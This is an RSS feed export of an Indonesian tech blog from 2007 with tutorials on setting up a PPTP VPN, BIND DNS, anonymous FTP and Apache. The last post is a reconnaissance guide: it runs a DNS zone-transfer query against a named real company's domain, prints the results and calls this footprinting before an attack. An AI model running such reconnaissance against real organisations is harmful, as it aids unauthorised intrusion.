<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="wordpress/1.5.1-alpha" -->
<rss version="2.0" 
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
>

<channel>
	<title>I cant to understand about you honey</title>
	<link>http://sherayusuf.blogsome.com</link>
	<description>dapatkah kamu merasakan yang aq rasa</description>
	<pubDate>Mon, 15 Oct 2007 05:55:29 +0000</pubDate>
	<generator>http://wordpress.org/?v=1.5.1-alpha</generator>
	<language>en</language>

		<item>
		<title>VPN (Virtual Private Network) Server</title>
		<link>http://sherayusuf.blogsome.com/2007/10/15/vpn-virtual-private-network-server/</link>
		<comments>http://sherayusuf.blogsome.com/2007/10/15/vpn-virtual-private-network-server/#comments</comments>
		<pubDate>Mon, 15 Oct 2007 05:55:29 +0000</pubDate>
		<dc:creator>sherayusuf</dc:creator>
		
	<category>Komputer Stuff</category>
		<guid>http://sherayusuf.blogsome.com/2007/10/15/vpn-virtual-private-network-server/</guid>
		<description><![CDATA[	 	Kita mungkin sering mendengar orang membicarakan VPN sebagai salah satu solusi
alternatif untuk membangun secure connection. Sebenarnya, apa sih VPN itu? Menurut
IETF (Internet Engineering Task Force), VPN is An emulation of [a] private Wide Area
Network (WAN) using shared or public IP facilities, such as the Internet or private IP
bacbones. VPN merupakan suatu bentuk private intranet [...]]]></description>
			<content:encoded><![CDATA[	<p> 	Kita mungkin sering mendengar orang membicarakan VPN sebagai salah satu solusi<br />
alternatif untuk membangun secure connection. Sebenarnya, apa sih VPN itu? Menurut<br />
IETF (Internet Engineering Task Force), VPN is An emulation of [a] private Wide Area<br />
Network (WAN) using shared or public IP facilities, such as the Internet or private IP<br />
bacbones. VPN merupakan suatu bentuk private intranet yang melalui public network,<br />
yaitu Internet, dengan menekankan pada keamanan dan konektifitas yang efektif antara 2<br />
node yang berhubungan. Hubungan ini dilakukan dengan pembuatan<br />
“terowongan”(tunnel), yang menghubungkan antara 2 node untuk saling bertukar data.<br />
Hal ini mirip dengan hubungan pada point-to-point connection.</p>
	<p>{alt}</p>
	<p>Ada beberapa protokol yang digunakan pada untuk mengimplementasikan VPN yaitu,<br />
IPSec (IP Security), PPTP(Point to Point Tunnelling Protocol), L2F(Link Layer<br />
Forwarding), dan L2TP (Link Layer Tunnelling Protocol). Dalam hal ini, protokol yang<br />
digunakan adalah PPTP karena PPTP telah diintegrasikan secara default pada Sistem</p>
	<p>Instalasi dan Konfigurasi PoPToP<br />
Prasyarat untuk PPTP adalah pseudo-device tun. Untuk FreeBSD versi 4.0 keatas tidak<br />
perlu meng-compile kernel, tp untuk FreeBSD versi yang lebih lama, option pseudodevice<br />
tun harus di-enable-kan terlebih dahulu di kernel.<br />
Instalasi, seperti layaknya software-software di UNIX atau LINUX, dapat dilakukan<br />
dengan beberapa cara. Dalam hal ini, instalasi dilakukan dengan ports. Yeah, I love ports!</p>
	<p>Code:</p>
	<p>dialup#cd /usr/ports/net/poptop<br />
dialup#make config</p>
	<pilih opsi-opsi yang sesuai>
dialup#make install clean</p>
	<p>Setelah itu, kita bikin file pptpd.conf. Secara default ada di /usr/local/etc/pptpd.conf.</p>
	<p>Code:</p>
	<p>#pptpd configuration 20050128<br />
#by -adhy<br />
options /etc/ppp/dialup/ppp.conf<br />
pidfile /var/run/pptpd.pid<br />
mppe-40<br />
mppe-56<br />
mppe-128<br />
mppe-stateless</p>
	<p>Terlihat diatas bahwa options ada di /etc/ppp/dialup/ppp.conf. Letak file ini dapat diubahubah,<br />
sesuaikan dengan keadaan sistem yang ada. Dalam kasus saya, agar tidak rancu<br />
dengan mgetty, meski saya lebih baik pake mpd untuk dialin software-nya.</p>
	<p>Code:</p>
	<p>##########################<br />
# file /etc/ppp/dialup/ppp.conf<br />
# by yusuf_sexerchivest@yahoo.com<br />
##########################<br />
loop:<br />
set timeout 0<br />
set log phase chat connect lcp ipcp command<br />
set device localhost:pptp<br />
set dial<br />
set login<br />
# Server (local) IP address, Range for Clients, and Netmask<br />
set ifaddr 192.168.1.1 192.168.1.2-192.168.1.100 255.255.255.255<br />
set server /tmp/loop &#8220;&#8221; 0177<br />
loop-in:<br />
set timeout 0<br />
set log phase lcp ipcp command<br />
allow mode direct<br />
pptp:<br />
load loop<br />
disable pap<br />
set dns 167.205.x.x<br />
set device !/etc/ppp/dialup/secure<br />
enable mppe<br />
disable deflate pred1<br />
deny deflate pred1<br />
set timeout disable<br />
set mppe * stateless<br />
enable MSChapV2<br />
set radius /etc/ppp/dialup/radius.conf</p>
	<p>Disini saya menggunakan FreeRadius untuk autentikasi user. Konfigurasi Radius sama<br />
dengan ketika menggunakan mgetty dan mpd, jadi nggak perlu saya tulis lagi ya…. <img src='http://sherayusuf.blogsome.com/wp-images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> .</p>
	<p>Code:</p>
	<p>#######################<br />
# file /etc/ppp/dialup/radius.conf<br />
# by yusuf_sexerchivest@yahoo.com<br />
#######################<br />
auth 127.0.0.1 testing123<br />
acct 127.0.0.1 testing123</p>
	<p>Kemudian buat file /etc/ppp/dialup/secure yang isinya berikut ini</p>
	<p>Code:</p>
	<p>#!/bin/sh<br />
exec /usr/sbin/ppp -direct loop-in</p>
	<p>Jangan lupa untuk men-chmod 755. Setelah itu pastikan forwarding packet-nya jalan<br />
dengan menambahkan “gateway_enable=”YES”” di /etc/rc.conf.</p>
	<p>Referensi<br />
http://www.google.com (STFG!)<br />
http://www.poptop.org<br />
http://www.freeradius.org<br />
RFC 1661 Point to Point Protocol(PPP).<br />
RFC 2637 Point to Point Tunelling Protocol(PPTP).<br />
RFC 2865 Remote Access Dial In User Service (RADIUS).</p>
	<p>by myself</pilih>
]]></content:encoded>
			<wfw:commentRss>http://sherayusuf.blogsome.com/2007/10/15/vpn-virtual-private-network-server/feed/</wfw:commentRss>
	</item>
		<item>
		<title>Domain Name Server</title>
		<link>http://sherayusuf.blogsome.com/2007/10/15/domain-name-server/</link>
		<comments>http://sherayusuf.blogsome.com/2007/10/15/domain-name-server/#comments</comments>
		<pubDate>Mon, 15 Oct 2007 05:53:36 +0000</pubDate>
		<dc:creator>sherayusuf</dc:creator>
		
	<category>Komputer Stuff</category>
		<guid>http://sherayusuf.blogsome.com/2007/10/15/domain-name-server/</guid>
		<description><![CDATA[	Domain Name Server atau yang disingkat dengan DNS adalah sebuah sistem yang menyimpan
informasi tentang nama host maupun nama domain dalam bentuk data tersebar
(distributed database) di dalam jaringan komputer. Dengan DNS, suatu alamat IP dapat
dialamatkan ke dalam nama host dan nama domain yang lebih mudah diingat manusia.
	Coba bayangkan, jika Anda harus
membuka suatu situs (google misalnya)
dengan menghapalkan [...]]]></description>
			<content:encoded><![CDATA[	<p>Domain Name Server atau yang disingkat dengan DNS adalah sebuah sistem yang menyimpan<br />
informasi tentang nama host maupun nama domain dalam bentuk data tersebar<br />
(distributed database) di dalam jaringan komputer. Dengan DNS, suatu alamat IP dapat<br />
dialamatkan ke dalam nama host dan nama domain yang lebih mudah diingat manusia.</p>
	<p>Coba bayangkan, jika Anda harus<br />
membuka suatu situs (google misalnya)<br />
dengan menghapalkan alamat<br />
IP-nya adalah 66.249.89.99 untuk membuka<br />
situs itu. Tentu akan lebih mudah bagi<br />
kita untuk menghapal dengan nama www.<br />
google.com daripada 66.249.89.99.<br />
Dahulu sebelum diperkenalkannya DNS<br />
sebagai suatu system untuk pengalamatan<br />
alamat IP ke dalam suatu nama domain, setiap<br />
komputer di jaringan komputer menggunakan<br />
fi le HOST.TXT untuk memetakan<br />
alamat IP ke nama domain. Namun setelah<br />
pengguna Internet semakin banyak, penggunaan<br />
fi le HOST.TXT ini tidak lagi efektif,<br />
karena setiap pengguna harus selalu mengupdate<br />
fi le HOST.TXT setiap ada penambahan<br />
atau perubahan nama domain baru di<br />
dalam jaringan.<br />
Berangkat dari problem itu, maka dibutuhkan<br />
sebuah sistem yang bisa mengganti<br />
alamat host hanya di satu tempat, host lain<br />
akan mempelajari perubahan tersebut secara<br />
dinamis. Dan sistem inilah yang kemudian<br />
dikenal dengan nama DNS.<br />
DNS ditemukan oleh Paul Mockapetris<br />
pada tahun 1983. Spesifi kasi asli muncul di<br />
RFC 882 dan 883. Tahun 1987, penerbitan<br />
RFC 1034 dan RFC 1035 membuat update<br />
terhadap spesifi kasi DNS. Hal ini membuat<br />
RFC 882 dan RFC 883 tidak berlaku lagi. Beberapa<br />
RFC terkini telah memproporsikan<br />
beberapa tambahan dari protokol inti DNS.<br />
Pada Artikel ini, penulis akan menjelaskan<br />
prinsip kerja dari DNS. Untuk mempermudah,<br />
penulis akan menjelaskan cara<br />
setting DNS Server untuk jaringan lokal.</p>
	<p>Instalasi BIND<br />
Sebelum dapat memulai konfi gurasi DNS,<br />
Anda harus menginstalasikan paket BIND<br />
terlebih dahulu. Biasanya paket BIND sudah<br />
dipaketkan pada setiap distro Linux.<br />
Pada saat penulisan artikel ini, penulis mencobanya<br />
pada distro Fedora Core 4. Untuk<br />
pengguna distro lainnya, Anda tinggal menyesuaikan<br />
langkah instalasi BIND sesuai<br />
dengan distro yang Anda gunakan.<br />
Untuk menginstalasikan paket BIND di<br />
Fedora Core 4, Anda dapat menginstalasikannya<br />
dengan menggunakan Add/Remove Applications,<br />
lalu klik Detail pada bagian DNS<br />
Name Server. Cek semua paket yang ada pada<br />
group tersebut, Close, lalu klik Update. Cara<br />
lainnya Anda dapat menginstalasikan paketpaket<br />
rpm BIND yang ada pada CD Fedora<br />
Core dengan menggunakan pe rintah RPM.<br />
Jika Anda ingin menginstalasikan dari<br />
Source Code, download terlebih dahulu paket<br />
BIND dari situs http://www.isc.org. Versi<br />
BIND terakhir yang bisa di-download dari<br />
situs tersebut adalah BIND 9.3.1</p>
	<p>Code:</p>
	<p>$ wget -c ftp://ftp.isc.org/isc/<br />
bind9/9.3.1/bind-9.3.1.tar.gz</p>
	<p>Ekstrak fi le source tersebut, dan lakukan<br />
kompilasi</p>
	<p>Code:</p>
	<p># tar -xzvf bind-9.3.1.tar.gz<br />
# cd bind-9.3.1<br />
# ./configure –prefix=/usr/<br />
local/named<br />
# make<br />
# make install<br />
# adduser -d /var/named -s /bin/<br />
false named</p>
	<p>Untuk kebanyakan pengguna Linux, paket<br />
BIND yang ada di dalam distro sudah<br />
cukup untuk memenuhi kebutuhan. Jadi<br />
kalau tidak terlalu dibutuhkan untuk instalasi<br />
lewat source, disarankan untuk menggunakan<br />
paket BIND yang sudah ada di<br />
distro saja.<br />
Setting BIND<br />
File-fi le yang harus diperhatikan untuk<br />
mengkonfi gurasikan BIND, antara lain:<br />
1. /etc/resolv.conf: (berisi alamat domain<br />
atau alamat IP dari name server).<br />
2. /etc/named.conf (berisi keterangan letak<br />
dan jenis database yang dibutuhkan oleh<br />
BIND).<br />
3. /var/named/named.ca: (berisi informasi<br />
data yang berada dalam domain root,<br />
yang akan dipergunakan name server<br />
jika ada resolver yang akan meminta<br />
nama domain diluar nama domain lokal).<br />
4. /var/named/named.local: (berisi alamat<br />
loopback untuk alamat ke diri sendiri<br />
dengan alamat 127.0.0.1).</p>
	<p>Persiapan setting domain baru<br />
Dalam studi kasus kali ini, kita akan membuat<br />
domain baru untuk DNS Server dan<br />
mail server, ftp server, http server, dengan<br />
data sebagai berikut:<br />
Nama Domain : example.com<br />
Nama DNS Server : ns.example.com<br />
IP DNS Server : 192.168.2.1<br />
Nama Mail Server : mail.example.com<br />
Nama HTTP Server : www.example.com<br />
Nama FTP Server : ftp.example.com
</p>
]]></content:encoded>
			<wfw:commentRss>http://sherayusuf.blogsome.com/2007/10/15/domain-name-server/feed/</wfw:commentRss>
	</item>
		<item>
		<title>Instalasi Anonymous FTP dan Web Server</title>
		<link>http://sherayusuf.blogsome.com/2007/10/15/instalasi-anonymous-ftp-dan-web-server/</link>
		<comments>http://sherayusuf.blogsome.com/2007/10/15/instalasi-anonymous-ftp-dan-web-server/#comments</comments>
		<pubDate>Mon, 15 Oct 2007 05:52:29 +0000</pubDate>
		<dc:creator>sherayusuf</dc:creator>
		
	<category>Komputer Stuff</category>
		<guid>http://sherayusuf.blogsome.com/2007/10/15/instalasi-anonymous-ftp-dan-web-server/</guid>
		<description><![CDATA[	Struktur Layanan Internet
Salah satu ciri yang menonjol dari Internet adalah bahwa banyak dari layanan-layanan yang berjalan diatasnya diimplementasikan menggunakan  arsitektur client/server. Pengertian dari client dan server itu sendiri adalah sebagai berikut :
Client merupakan  pihak yang bertanggung jawab untuk berinteraksi dengan user; sebagai contoh, dengan menerima masukan dari keyboard dan menampilkan data ke user. [...]]]></description>
			<content:encoded><![CDATA[	<p>Struktur Layanan Internet<br />
Salah satu ciri yang menonjol dari Internet adalah bahwa banyak dari layanan-layanan yang berjalan diatasnya diimplementasikan menggunakan  arsitektur client/server. Pengertian dari client dan server itu sendiri adalah sebagai berikut :<br />
Client merupakan  pihak yang bertanggung jawab untuk berinteraksi dengan user; sebagai contoh, dengan menerima masukan dari keyboard dan menampilkan data ke user. Sedangkan Server, merupakan pihak yang bertanggung jawab untuk menangani tugas-tugas yang diminta client; sebagai contoh, mengakses data atas nama client, menangani perhitungan, menyediakan data atau tanggapan sederhana pada client, dan sebagainya.<br />
Pengenalan Layanan Informasi di Internet<br />
Layanan informasi di Internet yang akan dikenalkan disini mencakup antara lain layanan e-mail, telnet, finger, FTP, WAIS, dan World Wide Web (WWW).<br />
E-mail atau electronic mail, sesuai dengan namanya adalah layanan Internet yang berupa pengiriman mail (surat) yang datanya diubah ke bentuk data elektronik dan dikirimkan melalui jaringan komputer. E-mail melalui internet dapat mencapai tidak hanya orang-orang yang terhubung langsung  ke Internet tapi juga  user  dari jaringan komersil seperti CompuServe,  America Online , dsb, serta jaringan komputer lain yang telah tersebar di seluruh dunia (Wide Area Network).<br />
Telnet dan Finger adalah  dua layanan yang datang bersama kebanyakan  sistem operasi, sehingga keduanya digunakan secara luas meskipun  service tersebut  sederhana. Telnet   mengizinkan seseorang untuk login ke dalam sebuah sistem melalui jaringan seakan-akan orang tersebut  login dari terminal pada sistem tersebut.  Finger didesain untuk menyediakan informasi mengenai user dari lokal maupun remote sistem (seperti nama lengkap yang berhubungan dengan alamat e-mail user)<br />
FTP (File Transfer Protocol)  merupakan layanan yang paling banyak digunakan oleh pemakai Internet untuk mengambil atau meletakkan file dari atau ke mesin lain di Internet. FTP sama seperti login ke suatu mesin, tapi disini user dibatasi pada sejumlah command tertentu, dan untuk anonymous FTP user, dibatasi hanya pada direktori tertentu. Arsip yang di-set agar dapat diakses oleh  publik  disebut arsip anonymous FTP, karena sebarang orang dapat  login (hanya alamat e-mail orang tersebut diminta sebagai identifikasi). FTP client terdapat pada hampir semua jenis komputer, dari palmtop sampai supercomputer. Setelah e-mail, FTP adalah layanan Internet yang paling umum digunakan.<br />
Jika anda mempunyai sebuah database yang sangat besar dan anda sedang mencari cara  untuk memberikan kemudahan pada user untuk melihat isi seluruh database maka WAIS adalah jawabannya. WAIS atau Wide Area Information Server, menyediakan layanan akses ke suatu database melalui  jaringan TCP/IP . Software WAIS yang terbaru memungkinkan pembuatan indeks yang mudah untuk database yang sangat besar. Server mengizinkan user untuk meminta pencarian di database  untuk keyword yang  sederhana atau ekspresi boolean yang lebih kompleks.<br />
World Wide Web atau lebih sering dikenal  sebagai  Web adalah layanan Internet  yang paling banyak memiliki tampilan grafis dan kemampuan link yang sangat bagus. Keistimewaan inilah yang telah menjadikan Web sebagai service yang paling cepat pertumbuhannya. Web mengizinkan  pemberian highlight  (penyorotan/penggaris bawahan) pada  kata-kata atau gambar dalam sebuah dokumen untuk menghubungkan  atau menunjuk  ke media lain  seperti dokumen, frase, movie clip, atau file suara. Web dapat menghubungkan dari sebarang tempat dalam sebuah dokumen  atau gambar ke sebarang tempat di  dokumen lain. Dengan sebuah browser yang memiliki  Graphical User Interface (GUI), link-link dapat dihubungkan ke tujuannya dengan  menunjuk link tersebut  dengan mouse dan menekannya.<br />
   Dibawah ini akan  dibahas proses instalasi server dari dua layanan Internet yang umum digunakan yaitu server untuk layanan FTP dan WWW pada UNIX FreeBSD.</p>
	<p>Instalasi FTP Server<br />
   Ada dua tipe akses yang FTP server sediakan yaitu user FTP dan anonymous FTP. User FTP adalah adalah layanan FTP yang disediakan untuk  orang yang mempunyai sebuah user account pada suatu host, sedangkan anonymous FTP disediakan untuk publik. Dengan layanan FTP anda dapat melakukan transfer file dari sistem anda atau ke sistem anda  dari berbagai tempat di internet. Tapi anda tidak dapat mengeksekusi semua perintah yang ada karena FTP server memang hanya menyediakan  perintah-perintah  tertentu, seperti melihat daftar dan mengubah direktori, dan  menerima serta mengirim file. Pada instalasi ini  yang akan menjadi pokok bahasan kita adalah Anonymous FTP server yang merupakan inti dari sebuah FTP Server.<br />
   FTP server terdiri dari dua bagian, yaitu : server, yang menanggapi permintaan client seperti mengirim file, mendaftar direktori yang ada, dan lain-lain ; dan filesystem yang merupakan tempat FTP server membaca file dan direktori yang ada. Program implementasi standar UNIX untuk menjalankan FTP server adalah  ftpd  (ftp daemon).  ftpd berjalan dibawah inetd, UNIX superserver.  inetd  mendengarkan permintaan pada sejumlah port, termasuk  port kontrol FTP, TCP port 21. Ketika sebuah FTP client pertama kali mencoba untuk berhubungan dengan sebuah FTP server, dia mengirimkan paket ke port 21 pada host tujuannya. Kemudian  inetd menerima paket tersebut, menentukan dari nomor port tujuan bahwa layanan FTP perlu dijalankan, dengan melakukan proses forking dan executing pada ftpd. Jika pada saat yang bersamaan ada client lain yang ingin berhubungan dengan FTP server, maka inetd  akan meminta kopi dari ftpd yang sudah berjalan untuk menanganinya. Baris pada file konfigurasi inetd, inetd.conf yang mengawasi bagaiman ftpd dijalankan dapat dilihat di bawah ini :<br />
   ftp   stream   tcp   nowait   root   /etc/ftpd      ftpd -l<br />
Biasanya pada sistem UNIX konfigurasi  untuk ftpd seperti contoh diatas sudah ada pada file inetd.conf, yang akan kita bahas sekarang  adalah arti dari masing-masing field pada baris konfigurasi diatas.<br />
Field  pertama (ftp) adalah field protokol, yang memberitahu inetd layanan apa yang disinggung oleh baris ini. Kemudian inetd akan melihat di file  /etc/services  untuk mencari padanan dari nomor port ftp yang ternyata adalah port 21. Ketika inetd menerima paket untuk port 21, maka inetd dengan menggunakan baris inetd.conf diatas sudah mengetahui server apa yang harus ia jalankan (FTP server).<br />
Field  kedua dan ketiga (stream dan tcp) menerangkan tipe komunikasi yang digunakan FTP server. Dalam hal ini, komunikasi dilakukan melalui hubungan TCP,  yang merupakan aliran data berurutan antar dua komputer. Perlu diingat bahwa File Transfer Protocol (FTP) hanya bekerja melalui hubungan TCP.<br />
Field keempat  (nowait) memberitahukan inetd untuk menjalankan sebuah server baru setiap kali ada client yang akan berhubungan. Apabila menuliskan wait pada field ini, maka akan memberitahu inetd bahwa untuk menjalankan sebuah server baru haru menunggu sampai tidak ada lagi server yang sedang berjalan.<br />
Dua field terakhir (/etc/ftpd dan ftpd -l)  memberitahu pathname lengkap dari ftpd dan argumennya (termasuk nama programnya,  ftpd) untuk digunakan ketika menjalankan server.<br />
Setelah melakukan konfigurasi  FTP server untuk berjalan dibawah inetd, anda perlu untuk menambahkan sebuah ftp user pada file /etc/passwd di komputer anda.  ftpd akan memeriksa keberadaan dari ftp user sebelum mengizinkan seorang anonymous user untuk menggunakan layanan FTP. Entry ftp user di file /etc/passwd harus mempunyai user ID dan group ID yang unik dan user harus tidak diizinkan untuk masuk  melalui layanan standar yang lain seperti telnet dan rlogin. Password  user ftp pada /etc/passwd harus berisi *, yang berarti bahwa tidak ada password, dan login shell seharusnya di-set ke /bin/false, sehingga  sistem tidak mengizinkan user ftp untuk login dari layanan lain. Setelah itu, direktori yang boleh diakses oleh ftp user juga harus diset yaitu di /usr/ftp. Contoh baris pada file /etc/passwd dapat dilihat dibawah ini.<br />
   ftp:*:500:25:Anonymous FTP user:/user/ftp:/bin/false<br />
Untuk melakukan instalasi sebuah FTP server di FreeBSD, dapat dilakukan pada saat instalasi sistem FreeBSD pertama kali atau setelah sistem sudah berjalan. Cara pertama, instalasi FTP server bersamaan dengan instalasi FreeBSD pertama kali, hampir sama dengan cara kedua, hanya saja cara  pertama mulai dari pengkonfigurasian hardware, sedangkan cara kedua langsung ke menu-menu instalasi. Karena itu yang akan dibahas disini adalah cara yang kedua.<br />
   Pertama kali anda harus login sebagai root, kemudian ketikkan perintah sysinstall yang ada pada direktori  /stand, atau langsung dengan mengetikkan :<br />
   # /stand/sysinstall<br />
maka akan tampil menu Install, kemudian pilihlah menu Configure, maka akan muncul menu berikut :</p>
	<p>                                                  Gambar 1. Menu Configure</p>
	<p>                                                   Gambar 2. Menu Networking</p>
	<p>Pilihlah menu Networking untuk melakukan konfigurasi layanan network tambahan, dan akan ditampilkan menu seperti gambar 2. Kemudian pilihlah  menu Anon FTP untuk melakukan instalasi Anonymous FTP server.</p>
	<p>                               Gambar 3. Konfigurasi Anonymous FTP server</p>
	<p>Gantilah konfigurasi diatas jika ada yang akan anda ubah, seperti FTP root directory misalnya dapat diubah ke /data/ftp atau /usr/local/ftp. Untuk bagian lain sebenarnya merupakan konfigurasi default dan tidak perlu diubah, dengan memilih OK maka proses instalasi telah selesai. </p>
	<p>Instalasi Web Server<br />
Web browser dan web server berkomunikasi menggunakan protokol HTTP (HyperText Transfer Protocol) . Ketika sebuah web browser meminta sebuah dokumen HTML dari web server,  hubungan dibuka, kemudian dokumen ditransfer, dan setelah itu hubungan ditutup. Layanan yang menggunakan protokol http ini memiliki nomor port 80 (default),  sehingga web server akan selalu mendengarkan permintaan client pada port 80. Ada beberapa contoh web server antara lain yaitu NCSA, CERN dan Plexus, tapi yang akan kita bahas disini adalah instalasi software APACHE  untuk web server yang sudah ada di FreeBSD. Sama seperti instalasi FTP server, instalasi WWW serverpun dapat dilakukan bersamaan dengan instalasi FreeBSD pertama kali atau setelah FreeBSD berjalan.  Sekarang kita akan melakukan instalasi setelah FreeBSD berjalan tapi dengan cara lain yaitu dengan menggunakan perintah pkg_add.<br />
Pertama kali ambillah source software Apache, bisa dari CDROM, ftp site yang menyediakan source FreeBSD beserta packages-nya seperti misalnya di ftp.jp.FreeBSD.org/pub/FreeBSD/packages-2.2.8/www dengan nama file apache-1.2.6.tgz, atau langsung mengambil dari www.apache.org. Setelah diambil source-nya, extract-lah dengan perintah pkg_add.<br />
# pkg_add apache-1.2.6.tgz<br />
Biasanya hasil extract file tersebut langsung diletakkan di /usr/local/www dan file httpd di /usr/local/sbin. Setelah itu edit-lah file-file konfigurasi dari web server, yaitu httpd.conf, srm.conf dan access.conf yang biasanya terletak di /usr/local/www/server/conf agar webserver yang kita install sesuai dengan yang kita harapkan.<br />
Konfigurasi httpd.conf<br />
Kita hanya akan membahas bagian-bagian yang penting  dari file konfigurasi ini :<br />
   Ubah User dan Group dengan nama yang sesuai dengan keinginan anda, tapi disarankan untuk menggunakan user www dan group www, setelah itu edit-lah file /etc/master/passwd dan /etc/group untuk menambahkan user dan group baru tersebut.<br />
   Ubah Server Admin  menjadi nama yang anda inginkan, misalnya nama_anda@domain_anda. Nama ini harus diisi karena server akan memberitahukan Admin tersebut jika terjadi masalah dengan server.<br />
   Ubah Server Root  ke path direktori tempat anda meletakkan file executable httpd, file inilah yang akan dijalankan bila ada permintaan dari client, secara default Server Root akan terletak di /usr/local/www/httpd.<br />
   Ubah Server Name menjadi www.domain.anda. Nama ini harus sesuai dengan record yang ada pada name server dari domain anda.<br />
   Ubah Server Type  sesuai dengan keinginan anda, ada dua pilihan yaitu inetd dan standalone. Secara default akan berisi standalone dan sebaiknya tidak perlu diubah.<br />
Konfigurasi srm.conf<br />
   Ubah Document Root ke path direktori tempat anda meletakkan file HTML anda.<br />
   Isi opsi UserDir dengan enable bila anda ingin user pada komputer anda dapat memiliki homepage sendiri, atau disable jika ingin sebaliknya.<br />
Konfigurasi access.conf<br />
Default dari access.conf adalah :<br />
    <directory /usr/local/www/cgi-bin><br />
   Ubahlah path diatas ke direktori cgi-bin anda :<br />
   Options Indexes Follow Symlinks<br />
   </directory></p>
	<p>   <directory /usr/local/www/data><br />
   Ubahlah path diatas ke direktori dari data homepage anda<br />
   Options IndexesFollowSymlinks<br />
   AllowOverride All</p>
	<limit GET>
      order allow,deny<br />
      allow from all<br />
   </limit>
</directory></p>
	<p>Setelah semuanya di-edit maka anda telah siap untuk menjalankan web server anda secara standalone (server membaca konfigurasi sekali pada waktu dieksekusi dan akan dijalankan terus-menerus sampai prosesnya dimatikan) dengan cara me-reboot sistem anda. Jika letak file merupakan default-nya (biasanya di /usr/local/www/server/conf) maka cukup dengan menjalankan daemon-nya saja :<br />
   # /usr/local/sbin/httpd</p>
]]></content:encoded>
			<wfw:commentRss>http://sherayusuf.blogsome.com/2007/10/15/instalasi-anonymous-ftp-dan-web-server/feed/</wfw:commentRss>
	</item>
		<item>
		<title>Interogasi DNS – melihat mesin di domain sasaran</title>
		<link>http://sherayusuf.blogsome.com/2007/10/15/p12/</link>
		<comments>http://sherayusuf.blogsome.com/2007/10/15/p12/#comments</comments>
		<pubDate>Mon, 15 Oct 2007 05:51:40 +0000</pubDate>
		<dc:creator>sherayusuf</dc:creator>
		
	<category>Komputer Stuff</category>
		<guid>http://sherayusuf.blogsome.com/2007/10/15/p12/</guid>
		<description><![CDATA[	Interogasi DNS – melihat mesin di domain sasaran
	Sesudah melakukan network enumeration menggunakan perintah “whois” langkah selanjutnya yang akan banyak membantu mengidentifikasi semua domain yang berada di bawah organisasi sasaran adalah dengan mengambil infomrasi Domain Name System (DNS). DNS pada dasarnya sebuah basisdata yang terdistribusi yang melakukan pemetaan antara alamat IP dengan nama domain &#038; sebaliknya.
	Jika [...]]]></description>
			<content:encoded><![CDATA[	<p>Interogasi DNS – melihat mesin di domain sasaran</p>
	<p>Sesudah melakukan network enumeration menggunakan perintah “whois” langkah selanjutnya yang akan banyak membantu mengidentifikasi semua domain yang berada di bawah organisasi sasaran adalah dengan mengambil infomrasi Domain Name System (DNS). DNS pada dasarnya sebuah basisdata yang terdistribusi yang melakukan pemetaan antara alamat IP dengan nama domain &#038; sebaliknya.</p>
	<p>Jika DNS tidak dikonfigurasi dengan baik (aman), maka akan sangat mungkin untuk melihat informasi tentang organisasi di dalamnya. Salah satu kesalahan paling fatal yang sering dilakukan oleh sistem administrator adalah mengijinkan pengguna internet yang tidak bisa dipercaya untuk melakukan zone transfer.</p>
	<p>Zone transfer adalah fasilitas di DNS untuk mentransfer seluruh informasi tentang domain yang akan menjadi sasaran tembak. Jika anda berhasil memperoleh informasi seluruh domain tersebut,  beberapa informasi yang akan membantu anda adalah entry:</p>
	<p>   HINFO – yang memberikan informasi tentang mesin  yang digunakan.<br />
   MX – mesin perantara yang menerima e-mail untuk domain tersebut.</p>
	<p>Selain beberapa informasi lainnya tentang pemetaan alamat IP dengan hostname.</p>
	<p>Salah satu cara yang mungkin agak mudah untuk melakukan zone transfer, pada masa lalu, bisa dilakukan dengan mudah menggunakan perangkat lunak nslookup dengan perintah ls. Hanya saja, nslookup yang ada pada saat ini biasanya sudah tidak lagi dilengkapi dengan perintah ls, karena sering di salahgunakan untuk melakukan zone transfer yang diperlukan pada saat melalukan footprinting sebelum serangan di lakukan.</p>
	<p>Alternatif lain yang dapat digunakan adalah menggunakan software dig &#038; host. Sebagai contoh, dibawah ini adalah hasil interogasi DNS dari domain telkom.co.id mengunakan perintah host –l –v –t any.</p>
	<p>Code:</p>
	<p>[root@yusuf-mesinku]# host -l -v -t any telkom.co.id<br />
Trying &#8220;telkom.co.id.&#8221;<br />
;; ->>HEADER< <- opcode: QUERY, status: NOERROR, id: 40309<br />
;; flags: qr rd ra; QUERY: 1, ANSWER: 6, AUTHORITY: 3, ADDITIONAL: 5</p>
	<p>;; QUESTION SECTION:<br />
;telkom.co.id.                  IN      ANY</p>
	<p>;; ANSWER SECTION:<br />
telkom.co.id.           65237   IN      MX      5 in-mta1.telkom.co.id.<br />
telkom.co.id.           65237   IN      MX      10 in-mta2.telkom.co.id.<br />
telkom.co.id.           61859   IN      A       202.134.2.15<br />
telkom.co.id.           79371   IN      NS      ns3.telkom.co.id.<br />
telkom.co.id.           79371   IN      NS      ns1.telkom.co.id.<br />
telkom.co.id.           79371   IN      NS      ns2.telkom.co.id.</p>
	<p>;; AUTHORITY SECTION:<br />
telkom.co.id.           79371   IN      NS      ns3.telkom.co.id.<br />
telkom.co.id.           79371   IN      NS      ns1.telkom.co.id.<br />
telkom.co.id.           79371   IN      NS      ns2.telkom.co.id.</p>
	<p>;; ADDITIONAL SECTION:<br />
in-mta1.telkom.co.id.   65237   IN      A       202.134.0.196<br />
in-mta2.telkom.co.id.   65237   IN      A       202.134.0.197<br />
ns1.telkom.co.id.       79371   IN      A       202.134.0.155<br />
ns2.telkom.co.id.       79371   IN      A       202.134.2.5<br />
ns3.telkom.co.id.       79371   IN      A       202.134.1.10</p>
	<p>Received 270 bytes from 202.159.33.2#53 in 883 ms</p>
	<p>Atau kalau anda ingin men-safe hasil interogasi-nya ke dalam file agar memudahkan untuk mengevaluasi dikemudian hari, dapat di redirect menggunakan perintah ></p>
	<p>Code:</p>
	<p>[root@yusuf-mesinku]# host -l -v -t any telkom.co.id > zone_telkom.co.id</p>
	<p>Kebetulan tidak banyak informasi yang dapat diperoleh dari hasil query tentang telkom.co.id. Ada beberapa entry MX, NS &#038; A yang diperoleh dari query DNS telkom.co.id. Beberapa inti informasi tersebut adalah:</p>
	<p>•   MX berisi informasi tentang Mail Exchange, tempat e-mail dikirim ke domain tersebut.<br />
•   NS berisi informasi tentang mesin yang berfungsi membawa semua informasi DNS domain telkom.co.id.<br />
